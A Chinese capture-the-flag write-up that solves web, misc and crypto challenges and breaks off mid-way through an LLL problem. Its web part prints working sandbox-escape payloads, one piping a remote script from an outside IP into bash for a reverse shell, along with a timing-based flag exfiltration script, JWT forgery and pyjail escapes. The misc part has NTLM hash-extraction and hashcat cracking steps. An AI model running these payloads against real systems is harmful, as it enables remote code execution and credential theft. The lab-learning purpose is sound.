constructor `${`${`constructo`}r`}`
child_process `${`${`child_proces`}s`}`
payload:
throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();chi=p.mainModule.require(`${`${`child_proces`}s`}`);res=Reflect.get(chi,`${`${`exe`}cSync`}`)(`curl 8.155.17.250/m.sh | bash`);return res.toString();}})
直接反弹shell即可
escapeSandbox_PLUS(复现) 这个是真弄不懂原理,先把payload放上来 Part1:
username:ſyclover
password:J1rrY
Part2:
import requestsimport jsonimport timeses = requests.session() headers = { "Cookie" : "connect.sid=s%3AfkMOAgnXVe1bL5LoJ2KnKe3sjwHIPlP4.m1w4YDm7xwFa5aytoMLXKOp%2BV30kp4JQCD7Ylz4ww0g" , } url = "http://3000-fead7ddc-eb05-474f-9c78-ec5636d0eb66.challenge.ctfplus.cn/execute" pos = 1 flag = "" while True : strs = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{-}_" for i in strs: data = { "code[]" : "async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor((x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('sleep $(cat /flag| cut -c%s | tr %s 2)'); }) } } }; p.then();" % (str (pos), i) } t1 = time.time() req1 = ses.post(url, headers=headers, data=data) print (req1.text) t2 = time.time() print (i + str (t2 - t1)) if t2 - t1 > 2 : pos += 1 flag += i print (flag) break if flag[-1 ] == "}" : break
ez_js(复现) 第一关js原型链污染
{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}
第二关需要绕过逗号 用&连接并用syc传参
?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}
jwt_pickle(复现) https://github.com/nu11secur1ty/rsa_sign2n docker环境配好
python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.jleYYWDC9AlFzuGZ6Gk7RkyBuHlF7QS97wPA_ycJBtNPa1_RGMa5nyOE0-yv_dto9WMSx_aJ4epZ69fjZ8ZD1le6Qoa9sRhRdzW8el6NterxfMWfsz35L651Y69I13xsjg8uGryEKPcKTa42VvtCxUICkflYBJL29hpNwVBPQtGYTUIyusr6OkLSNLRiF7GF4EEqiBKcXf69xpYoIBsIOjbaE-tVsbrbCVOwDOugyz5HRWAN9fqtlVzsla5rgXSzJeyudYqzGDcR7oXzRH4ApoP16MQ-Q4_q_363HVOpOzx20qGUxgLP6b3roC-PuNLUcJ_lyFYQlos6obLo22p1Og eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.DZKzbWYUbQvzgnkXi3oem1dTUtunTNqFtNTXmJUKkWjUenZpZMXZ_z-8aIzvVocQlS9BRnzFe5rVqkgwlla7BQ_fxKMixMmLbtlJ3tTNYLI2C5GtB4MRoui8dtMZx0n2zM9e0NmTy-zs8yiuHA9odC6p-KRxSRVZyAtpCD4FtAl0pybgBaBgSdJnw7On7Gm5CqjtOXar9OPX2Xy5fTLGyzkGd0Xgrj8oGafI0R5c9AcTh_aagPNLqwQ8gdDPu3uVPQOfyYgL8tfxX7NlA1B5JO8VnrFGDPvuQzVSJZnANAGHIABl3jjAQHdG9Th9CWaOcp7Jxrkw_hYx7VZWS4980Q
将出现的密钥一个个试,发现b305dd712d5d2378_65537_pkcs1.pem是我们求的公钥
mkdir /tmp/dockerdocker cp 68a13c73d848:/app/ /tmp/docker/68a13c73d848
注意python库的jwt最新版已经弃用了pem 格式的公钥做为 HS256 的密钥 需要注释掉 jwt/algorithms.py中的raise InvalidKeyError部分
def prepare_key (self, key: str | bytes ) -> bytes : key_bytes = force_bytes(key) return key_bytes
jwt签名.py
import jwtpublicKey = open ("./b305dd712d5d2378_65537_pkcs1.pem" , "rb" ).read() token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIxIiwgInBhc3N3b3JkIjogImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzMyNzY4MTc0fQ.bohRFPyPpuMxMIuCtShU63I7ms2w8ZcWgejI1BV2158" try : real = jwt.decode(token, publicKey, algorithms=["HS256" , "RS256" ]) print (real) except Exception as e: exit(e) ss = { "username" : "1" , "password" : "c4ca4238a0b923820dcc509a6f75849b" , "is_admin" : True , "exp" : 1732768174 , } token = jwt.encode( ss, publicKey, algorithm="HS256" , ) print (token)
获取admin权限后然后就可以打pickle反弹shell了
Misc I_wanna_go_to_SYC https://www.cnblogs.com/chrysanthemum/p/11986382.html#gallery-7 一开始没有发现save1,我是傻逼 根据这个payload把第三位加2就能直接到flag房
Welcome_jail from pwn import *io = remote("nc1.ctfplus.cn" , 22957 ) cmd = "cat /home/ctf/flag" exp = "" for i in cmd: exp += "chr(" + str (ord (i)) + ")+" exp = exp.rstrip("+" ).encode() payload = ( b"print([].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](%b).read())" % exp ) print (payload)io.sendline(payload) while True : print (io.recvline())
cimbar https://github.com/sz3/cimbar 搜cimbar看到原理和给的图很相像,点进去得到cimbar的加密方式https://github.com/sz3/libcimbar/blob/master/DETAILS.md 照着上面输入就OK了
ez_pcap_1 strings flag.pcapng | grep "SYC{"
Truth of Word flag1: SYC{W0rd_H@5 flag2: @_Ama1n9_ 把.docu后缀改为.zip,发现藏有flag03.png flag3: StrUCtu3e!}
2024 geek challenge! 签到 签到
doSomeMath import oswhite_List=["+" ,"-" ,"*" ,"/" ,"_" ,"g" ,"e" ,"l" ,"t" ,"(" ,")" ,"." ,"," ] flag=os.environ.get("GEEK_FLAG" ) if os.environ.get("GEEK_FLAG" )!=None else "SYC{test}" banner=''' _ ____ __ __ _ _ __| | ___/ ___| ___ _ __ ___ ___| \/ | __ _| |_| |__ / _` |/ _ \___ \ / _ \| '_ ` _ \ / _ \ |\/| |/ _` | __| '_ \\ | (_| | (_) |__) | (_) | | | | | | __/ | | | (_| | |_| | | | \__,_|\___/____/ \___/|_| |_| |_|\___|_| |_|\__,_|\__|_| |_| ''' def waf (s ): if not s.isascii(): exit("Please input ascii" ) for word in s: if word not in white_List: exit("hacker!!!!" ) print (banner)print ("please do this math problem" )while True : try : result = input ("99*100^60= " ) waf(result) if 99 * 100 ^ 60 == eval (result): print ("Congradulation!!!!! Here is your reward: " + flag) else : print ("not right" ) except : print ("error" )
().__ge__(()) 可以构造出1,意思是()是否大于等于()。 接下来只要构造出9872就好,注意eval有字符长度限制
from pwn import *io = remote("nc1.ctfplus.cn" , 36582 ) s = "().__ge__(())" s_2 = "" s_7 = "" s_8 = "" s_9 = "" s_10 = "" payload = "" for i in range (2 ): s_2 += s + "+" s_2 = s_2[:-1 ] s_2 = "(" + s_2 + ")" for i in range (7 ): s_7 += s + "+" s_7 = s_7[:-1 ] s_7 = "(" + s_7 + ")" for i in range (8 ): s_8 += s + "+" s_8 = s_8[:-1 ] s_8 = "(" + s_8 + ")" for i in range (9 ): s_9 += s + "+" s_9 = s_9[:-1 ] s_9 = "(" + s_9 + ")" for i in range (10 ): s_10 += s + "+" s_10 = s_10[:-1 ] s_10 = "(" + s_10 + ")" payload = s_9 + "*" + s_10 + "*" + s_10 + "*" + s_10 payload += "+" + s_8 + "*" + s_10 + "*" + s_10 payload += "+" + s_7 + "*" + s_10 payload += "+" + s_2 print (eval (payload))io.sendline(payload) while True : print (io.recvline())
hard_jail 为了构造斜杠卡了好久,不同版本doc文档不一样是最恶心的。 出题人催促我们换新版本(确信) 原理就是把__file__换成/flag,利用show读取
from pwn import *import osprint (os.__doc__)i = 40 io = remote("nc1.ctfplus.cn" , 25584 ) io.sendline(b"import os" ) io.sendline(b"a=os.__doc__" ) io.sendline(b"b=a[424]+a[42]+a[4]+a[51]+a[9]+a[424]+a[89]+a[6]" ) io.sendline(b"b+=a[12]+a[424]+a[12]+a[83]+a[43]+a[36]" ) io.sendline(b"__file__=b" ) io.sendline(b"show" ) while True : print (io.recvline())
出题人预期解: 无括号绕过
help.__class__.__eq__=exec
help.__class__.__getattribute__=input
help==help.a
# 进入input
__import__('os').system('cat /home/ctf/flag')
舔狗的觉醒 ARCHPR跑出压缩包密码为8个8(竟然有8位!) 看文档开头 05 b4 30 40判断是字节的两位之间调换了位置,能恢复成zip文件https://github.com/AabyssZG/FileReverse-Tools 用这个的 -re 参数恢复 解压发现flag.pdf文件,需要移开图片,但pdf上了锁。 搜索pdf解锁找到一个在线解锁pdf的网站https://www.ilovepdf.com/zh-cn/unlock_pdf 用这个打开 flag_unlocked.pdf 移开图片拿到flag
雪 snow加密。压缩包密码是最后的base64编码。 用WaterMarkH.exe提取syclover_WaterMark.png 得到 snow 解密的密码为Th1si4st8eK3y
ez_climbstairs 这题我环境有问题,跑不出来,交给队友跑的,然后他交上flag后我又能跑了。。
from pwn import *sys.set_int_max_str_digits(100000 ) def climb_stairs (n ): dp = [0 ] * (n + 1 ) dp[0 ] = 1 dp[1 ] = 1 dp[2 ] = 2 for i in range (3 , n + 1 ): dp[i] = dp[i - 1 ] + dp[i - 2 ] + dp[i - 3 ] return dp[n] io = remote("nc1.ctfplus.cn" , 20140 ) for i in range (100 ): io.recvuntil(" " ) num = int (io.recvuntil(" " )[:-1 ].decode()) print (f"解析出的楼梯数: {num} " ) payload = str (climb_stairs(num)).encode() io.sendline(payload) response = io.recvline().decode() print (f"服务器返回: {response} " ) while 1 : print (io.recvline())
ez_jpg base64编码后发现是个以9DFF开头的十六进制字符串 根据题目名称判断为jpg结尾FFD9经过了反转https://github.com/AabyssZG/FileReverse-Tools 用工具的-r参数反转得到一个jpg文件 最后在随波逐流找到了jpg修改高度 图片增加高度后拿到flag
Secret of Starven(复现) 涉及SMB2协议,哈希值格式为 username::domain:ntlmv2_response.chall:ntproofstr:不包含ntproofstr的ntlmv2_response值 手动查找略 这里可以用一个自动化脚本提取流量的hash值 https://github.com/mlgualtieri/NTLMRawUnhide NTLMRawUnhide.py
import sys, getopt, timeimport os.pathfrom os import pathdef decode_string (byte_string ): return byte_string.decode("UTF-8" ).replace("\x00" , "" ) def decode_int (byte_string ): return int .from_bytes(byte_string, "little" ) def writeOutfile (output, outstr ): outstr = outstr + "\n" f = open (output, "a" ) f.write(outstr) f.close() def searchCaptureFile (infile, outfile, verbose, follow, quiet, offset=0 ): server_challenge = None ntlmssp_sig = b"\x4e\x54\x4c\x4d\x53\x53\x50\x00" ntlmssp_type_1 = ( b"\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00" ) ntlmssp_type_2 = ( b"\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00" ) ntlmssp_type_3 = ( b"\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00" ) with open (infile, "rb" ) as fp: readbuff = fp.read() last_byte = len (readbuff) fp.seek(0 , 0 ) readbuff = fp.read() while offset != -1 : if offset != 0 : offset = offset + len (ntlmssp_sig) offset = readbuff.find(ntlmssp_sig, offset) check_ntlm_type = readbuff.find( ntlmssp_type_1, offset, offset + len (ntlmssp_type_1) ) if check_ntlm_type > -1 : if quiet == False : if verbose == True : print ( "\033[1;37mFound NTLMSSP Message Type 1 :\033[1;32m Negotiation\033[0;37m \033[1;30m>\033[0;37m Offset" , offset, "\033[0;37m" , ) else : print ( "\033[1;37mFound NTLMSSP Message Type 1 :\033[1;32m Negotiation\033[0;37m" ) print () check_ntlm_type = readbuff.find( ntlmssp_type_2, offset, offset + len (ntlmssp_type_2) ) if check_ntlm_type > -1 : server_challenge = readbuff[(offset + 24 ) : (offset + 32 )] if quiet == False : if verbose == True : print ( "\033[1;37mFound NTLMSSP Message Type 2 :\033[1;32m Challenge \033[1;30m>\033[0;37m Offset" , offset, "\033[0;37m" , ) else : print ( "\033[1;37mFound NTLMSSP Message Type 2 :\033[1;32m Challenge\033[0;37m" ) print ( " \033[1;34m>\033[1;37m Server Challenge :\033[0;97m" , server_challenge.hex (), "\033[0;37m" , ) print () check_ntlm_type = readbuff.find( ntlmssp_type_3, offset, offset + len (ntlmssp_type_3) ) if check_ntlm_type > -1 : if quiet == False : if verbose == True : print ( "\033[1;37mFound NTLMSSP Message Type 3 :\033[1;32m Authentication \033[1;30m>\033[0;37m Offset" , offset, "\033[0;37m" , ) else : print ( "\033[1;37mFound NTLMSSP Message Type 3 :\033[1;32m Authentication\033[0;37m" ) domain_length_raw = readbuff[(offset + 28 ) : (offset + 28 + 2 )] domain_length = decode_int(domain_length_raw) domain_offset_raw = readbuff[ (offset + 28 + 2 + 2 ) : (offset + 28 + 2 + 2 + 4 ) ] domain_offset = decode_int(domain_offset_raw) domain = readbuff[ (offset + domain_offset) : (offset + domain_offset + domain_length) ] if quiet == False : print ( " \033[1;34m>\033[1;37m Domain :\033[0;97m" , decode_string(domain), "\033[0;37m" , ) if verbose == True : print (" Domain length :" , domain_length) print (" Domain offset :" , domain_offset) print () username_length_raw = readbuff[(offset + 36 ) : (offset + 36 + 2 )] username_length = decode_int(username_length_raw) username_offset_raw = readbuff[ (offset + 36 + 2 + 2 ) : (offset + 36 + 2 + 2 + 4 ) ] username_offset = decode_int(username_offset_raw) username = readbuff[ (offset + username_offset) : ( offset + username_offset + username_length ) ] if quiet == False : print ( " \033[1;34m>\033[1;37m Username :\033[0;97m" , decode_string(username), "\033[0;37m" , ) if verbose == True : print (" Username length :" , username_length) print (" Username offset :" , username_offset) print () workstation_length_raw = readbuff[(offset + 44 ) : (offset + 44 + 2 )] workstation_length = decode_int(workstation_length_raw) workstation_offset_raw = readbuff[ (offset + 44 + 2 + 2 ) : (offset + 44 + 2 + 2 + 4 ) ] workstation_offset = decode_int(workstation_offset_raw) workstation = readbuff[ (offset + workstation_offset) : ( offset + workstation_offset + workstation_length ) ] if quiet == False : print ( " \033[1;34m>\033[1;37m Workstation :\033[0;97m" , decode_string(workstation), "\033[0;37m" , ) if verbose == True : print (" Workstation length :" , workstation_length) print (" Workstation offset :" , workstation_offset) print () ntlm_length_raw = readbuff[(offset + 20 ) : (offset + 20 + 2 )] ntlm_length = decode_int(ntlm_length_raw) ntlm_offset_raw = readbuff[ (offset + 20 + 2 + 2 ) : (offset + 20 + 2 + 2 + 4 ) ] ntlm_offset = decode_int(ntlm_offset_raw) ntproofstr = readbuff[(offset + ntlm_offset) : (offset + ntlm_offset + 16 )] ntlmv2_response = readbuff[ (offset + ntlm_offset + 16 ) : (offset + ntlm_offset + ntlm_length) ] if quiet == False : if verbose == True : print (" NTLM length :" , ntlm_length) print (" NTLM offset :" , ntlm_offset) print ( " \033[1;34m>\033[1;37m NTProofStr :\033[0;37m" , ntproofstr.hex (), ) print ( " \033[1;34m>\033[1;37m NTLMv2 Response :\033[0;37m" , ntlmv2_response.hex (), ) print () if server_challenge != None : if quiet == False : print ("\033[1;37mNTLMv2 Hash recovered:\033[0;97m" ) if ntlm_length == 0 : if quiet == False : print ( "\033[0;37mNTLM NULL session found... no hash to generate\033[0;37m" ) elif domain_length == 0 : hash_out = ( decode_string(username) + "::" + decode_string(workstation) + ":" + server_challenge.hex () + ":" + ntproofstr.hex () + ":" + ntlmv2_response.hex () ) print (hash_out) if outfile != "" : writeOutfile(outfile, hash_out) else : hash_out = ( decode_string(username) + "::" + decode_string(domain) + ":" + server_challenge.hex () + ":" + ntproofstr.hex () + ":" + ntlmv2_response.hex () ) print (hash_out) if outfile != "" : writeOutfile(outfile, hash_out) print () server_challenge = None else : if quiet == False : print ( "\033[1;31mServer Challenge not found... can't create crackable hash :-/\033[0;37m" ) print () fp.close() if follow == True : try : time.sleep(1 ) searchCaptureFile(infile, outfile, verbose, follow, quiet, last_byte) except KeyboardInterrupt: print ("Bye!" ) pass def banner (): print ("\033[0;93m /%(" ) print (" -= Find NTLMv2 =- ,@@@@@@@@&" ) print (" /%&@@@@&, -= hashes w/ =- %@@@@@@@@@@@*" ) print (" (@@@@@@@@@@@( -= NTLMRawUnHide.py =- *@@@@@@@@@@@@@@@." ) print (" &@@@@@@@@@@@@@@&. @@@@@@@@@@@@@@@@@@(" ) print (" ,@@@@@@@@@@@@@@@@@@@/ .%@@@@@@@@@@@@@@@@@@@@@" ) print ( " /@@@@@@@#&@&*.,/@@@@(. ,%@@@@&##(%@@@@@@@@@." ) print ( " (@@@@@@@(##(. .#&@%%( .&&@@&( ,/@@@@@@#" ) print ( " %@@@@@@&*/((. #( ,(@& ,%@@@@@@*" ) print ( " @@@@@@@&,/(* , .,&@@@@@#" ) print ( " @@@@@@@/*//, .,,,**" ) print (" .,, ..." ) print (" .#@@@@@@@(." ) print (" /@@@@@@@@@@@&" ) print (" .@@@@@@@@@@@*" ) print (" .(&@@@%/. .." ) print (" (@@& %@@. .@@@," ) print (" /@@# @@@, %@&" ) print (" &@@&. @@@/ @@@#" ) print (" . %@@@( ,@@@# @@@( ," ) print (" *@@/ .@@@@@( #@%" ) print (" *@@%. &@@@@@@@@, /@@@." ) print (" .@@@@@@@@@@@&. .*@@@@@@@@@@@/." ) print (" .%@@@@%, /%@@@&(." ) print () print ("\033[0;97m" ) def usage (): print ("\033[1;37m" ) print ( "usage: NTLMRawUnHide.py -i <inputfile> [-o <outputfile>] [-f] [-h] [-q] [-v]" ) print ("\033[0;97m" ) def showhelp (): usage() print ("Main options:" ) print (' -f, --follow Continuously "follow" (e.g. "read from")' ) print (" input file for new data" ) print (" -h, --help" ) print (" -i, --input <inputfile> Binary packet data input file" ) print (" (.pcap, .pcapng, .cap, .etl, others?)" ) print (" -o, --output <outputfile> Output file to record any found NTLM" ) print (" hashes" ) print (" -q, --quiet Be a lot more quiet and only output" ) print (" found NTLM hashes. --quiet will also" ) print (" disable verbose, if specified." ) print (" -v, --verbose" ) print () def main (argv ): if not argv: banner() usage() sys.exit() infile = "" outfile = "" verbose = False follow = False quiet = False try : opts, args = getopt.getopt( argv, "hvqfi:o:" , ["input=" , "output=" , "verbose" , "follow" , "quiet" ] ) except getopt.GetoptError: usage() sys.exit(2 ) for opt, arg in opts: if opt in ("-h" , "--help" ): banner() showhelp() sys.exit() elif opt in ("-i" , "--input" ): infile = arg elif opt in ("-o" , "--output" ): outfile = arg elif opt in ("-f" , "--follow" ): follow = True elif opt in ("-v" , "--verbose" ): verbose = True elif opt in ("-q" , "--quiet" ): quiet = True else : usage() sys.exit(2 ) if infile == "" : print ( "\033[1;31m[!]\033[0;97m Error: Input file not specified. Did you mean to specify -i?" ) sys.exit() if os.path.exists(infile) == False : print ("\033[1;31m[!]\033[0;97m Error: Input file not found." ) sys.exit() if quiet == True : verbose = False else : banner() if infile != "" : print ("\033[1;37mSearching" , infile, "for NTLMv2 hashes..." ) if outfile != "" : print ("Writing output to:" , outfile) print ("\033[0;97m" ) searchCaptureFile(infile, outfile, verbose, follow, quiet, 0 ) if __name__ == "__main__" : main(sys.argv[1 :])
hashcat -m 5600 starven.txt /tools/rockyou.txt hashcat -m 5600 starven.txt /tools/rockyou.txt --show
提取出密码为spellorstarve,即为压缩包的密码。
Crypto RSA from Crypto.Util.number import bytes_to_long, getPrimefrom secret import flagp = getPrime(128 ) q = getPrime(128 ) n = p*q e = 65537 m = bytes_to_long(flag) c = pow (m, e, n) print (f"n = {n} " )print (f"p = {p} " )print (f"q = {q} " )print (f"c = {c} " )''' n = 33108009203593648507706487693709965711774665216872550007309537128959455938833 p = 192173332221883349384646293941837353967 q = 172282016556631997385463935089230918399 c = 5366332878961364744687912786162467698377615956518615197391990327680664213847 '''
很符合新生赛难度
from Crypto.Util.number import *n = 33108009203593648507706487693709965711774665216872550007309537128959455938833 p = 192173332221883349384646293941837353967 q = 172282016556631997385463935089230918399 c = 5366332878961364744687912786162467698377615956518615197391990327680664213847 e = 65537 d=inverse(e,(p-1 )*(q-1 )) m=pow (c,d,n) print (long_to_bytes(m))
不是套娃 题目附件 https://pan.baidu.com/s/1YQuXvK7wNrhLoCUcmWEMZw 提取码:game 粗看是一个压缩包套娃 第一关摩斯密码 第二关维吉利亚 第三关哈希密码逆向 哈希字符串为a1fdbce928af7aaehttp://www.somd5.com http://www.cmd5.com 随便一个网站逆出它,为HaiKav 第四关 NEFICPIC&CRTCTNEYO 随波逐流yyds NICECTF&NICECRYPTO 第五关 提示给的很明显 base100 -> rot13 -> base64 -> base65536 base100:https://ctf.bugku.com/tool/base100 base65536:https://www.better-converter.com/Encoders-Decoders/Base65536-Decode 原爞,启动! 什么?不对?幸亏 原神,启动! 是对的 最后就拿到flag了,flag竟然没藏(嘘)
共模攻击 from Crypto.Util.number import *from secret import flagp,q = [getPrime(1024 ) for _ in range (2 )] n = p*q e = [getPrime(10 ) for _ in range (2 )] m = bytes_to_long(flag) c = [pow (m, e[i], n) for i in range (2 )] print (f'n = {n} ' )print (f'e1 = {e[0 ]} ' )print (f'e2 = {e[1 ]} ' )print (f'c1 = {c[0 ]} ' )print (f'c2 = {c[1 ]} ' )''' n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767 e1 = 911 e2 = 967 c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983 c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152 '''
家人们真是共模攻击,出的也很基础 套公式就行
import gmpy2import binasciifrom Crypto.Util.number import getPrime, long_to_bytesn = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767 e1 = 911 e2 = 967 c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983 c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152 _, s1, s2 = gmpy2.gcdext(e1, e2) m = pow (c1, s1, n) * pow (c2, s2, n) % n print (long_to_bytes(m))
ECBpad 跟BaseCTF2024 week4的 ECB是不安全的 很像(一模一样),当时恰好尝试过,但是不会,抄题解不会还不会吧。 于是就抄了,原理人家在题解写的很清楚,贴个连接https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh
from pwn import *from Crypto.Util.number import *import base64p = remote("nc1.ctfplus.cn" , 38312 ) print (p.recvline())print (p.recvline())print (p.recvline())print (p.recvline())p.sendline(b"yes" ) p.sendline() p.recvuntil(b"Your cipher:" ) c = p.recvline()[:-1 ].strip() print (c)c = bytes .fromhex(c.decode("ascii" )) length1 = 0 for i in range (16 ): p.sendline(b"yes" ) payload = b"a" * i p.sendline(payload) p.recvuntil(b"Your cipher:" ) d = p.recvline()[:-1 ].strip() print (d) d = bytes .fromhex(d.decode("ascii" )) if len (d) != len (c): length1 = i break length_flag = len (c) - length1 print (length_flag)payload_length = len (c) + 16 flag = b"" for i in range (payload_length - 1 , payload_length - 1 - length_flag, -1 ): p.sendline(b"yes" ) payload = b"a" * i p.sendline(payload) p.recvuntil(b"Your cipher:" ) d = p.recvline()[:-1 ].strip() print (d) d = bytes .fromhex(d.decode("ascii" )) for j in range (33 , 128 ): p.sendline(b"yes" ) payload1 = b"a" * i + flag + chr (j).encode() p.sendline(payload1) p.recvuntil(b"Your cipher:" ) e = p.recvline()[:-1 ].strip() print (d) e = bytes .fromhex(e.decode("ascii" )) e = e[payload_length - 16 : payload_length] if e in d: flag += chr (j).encode() break print (flag) """# 从后往前爆破flag(此方法需要知道填充模式) from Crypto.Util.Padding import pad from Crypto.Cipher import AES # 在前面填充到满足AES加密的分组长度 dic='{}-BCTF0123456789abcdef' flag=b'' for i in range(length_flag): p.recvline() # b":\n" server_payload=b'a'*(length1+i+1) p.sendline(server_payload) server_flag=p.recvline()[:-1] server_flag=base64.b64decode(server_flag) for j in dic: p.recvline() # b":\n" my_payload=j.encode()+flag my_payload=pad(my_payload,AES.block_size) my_payload=my_payload+b'a' # 我也不知道这里为什么要多加一个字节,当i=2时不加这个字节就会出错 p.sendline(my_payload) my_flag=p.recvline()[:-1] my_flag=base64.b64decode(my_flag) my_flag=my_flag[:16] if my_flag in server_flag: flag=j.encode()+flag break print(flag)""" p.interactive()
LLL from Crypto.Util.number import *flag = b'******' m = bytes_to_long(flag) assert m.bit_length() == 327 p = getPrime(1024 ) a = getPrime(1024 ) c = getPrime(400 ) b = (a*m + c) % p print (f'a = {a} ' )print (f'b = {b} ' )print (f'p = {p} ' )''' a = 169790849804323540946197204708402762862586197604183102589270741859708550301920348112941305999764092197996929298474590062625556806793613268527763774013772685954699561684244945434843656515307801882995934869499880288594142919381501796488815033294127591623260894764750214588993456840404443515671353802614450411717 b = 87985708831523238980948938165414984318379459926002798504435964538203443877988599888615810231215118828138306895572062833107988965151522391460216837691927960249874511818878134399363147008042562222910234739940697553852540265617603482995091203105040187460485673579382171260197291783748886765929376179151804062085 p = 131724494512065658801039766546788821718063963144467818735768040631367069153816254855229655449559099188694403260044990366292026916085340250077198735215774149087025577263769846650728593180101073940507285459917860726551385227481715873503612683249433020201729190862430476054822102865441136763977415824331858801617 '''
https://blog.csdn.net/m0_74345946/article/details/131742665 抄的人家的P5 终于上sage了
from Crypto. Util.number import *from gmpy2 import *b = 169790849804323540946197204708402762862586197604183102589270741859708550301920348112941305999764092197996929298474590062625556806793613268527763774013772685954699561684244945434843656515307801882995934869499880288594142919381501796488815033294127591623260894764750214588993456840404443515671353802614450411717 a = 87985708831523238980948938165414984318379459926002798504435964538203443877988599888615810231215118828138306895572062833107988965151522391460216837691927960249874511818878134399363147008042562222910234739940697553852540265617603482995091203105040187460485673579382171260197291783748886765929376179151804062085 p = 131724494512065658801039766546788821718063963144467818735768040631367069153816254855229655449559099188694403260044990366292026916085340250077198735215774149087025577263769846650728593180101073940507285459917860726551385227481715873503612683249433020201729190862430476054822102865441136763977415824331858801617 M = Matrix( ZZ, [[p, 0 , 0 ], [-b, 1 , 0 ], [a, 0 , 2 **400 ]] ) c, m, k = M. LLL()[0 ] """LLL 算法是一种格约化算法,用于查找格的约简基。 LLL 方法返回一个由两个元素组成的元组: 简化基和将原始基转换为简化基的矩阵""" flag = long_to_bytes(abs (m)) print (flag)
easy_LLL from Crypto.Util.number import *m = bytes_to_long(flag) p = getPrime(1024 ) assert m.bit_length() == 255 def encrypt (m ): a = getPrime(1024 ) b = getPrime(400 ) c = (a * m + b) % p return c, a result = [encrypt(m) for i in range (5 )] c = [x[0 ] for x in result] a = [x[1 ] for x in result] print ('p =' , p)print ('c =' , c)print ('a =' , a)''' p = 114770017142688382362918268558878024848633097928402093647914503696492833723966801545716194546592346338592062332306371502256979159033965343002132956304625610134374822329402499359634555710129039614275145668904822690744696925414716152630310915301980153974374009140517084226870950134327432658087834138202887501571 c = [25269157674120082500323585451842928560404625967932662908517922704871828513397233858615005968124017428639853960550468542894270451871612496631645175015826203493265945456529848647562285359912541672751550625137876486033809099678631009005979648033707322772087110235116987698692692467320479776960630479772236446980, 75827517416784647262997004080634347924631190865715212882627791181841845414253117114184423517850773219376565782814219713490136873921446382123059696483594598328510450811390866671002685611755205236016843942407419858592870716928648777362367108239158432436307113173823883182666320180058177554647020175991566479974, 4000439731719746534404360339840675006453847582492745979982221624660296805996044239209286181541462187650487112017410839740281883027081539802479046385802021188067656190594734619927933032154534742175380783895559841318520045144113562164247717915766667365412215754183668349398802684299015216478025166881475794536, 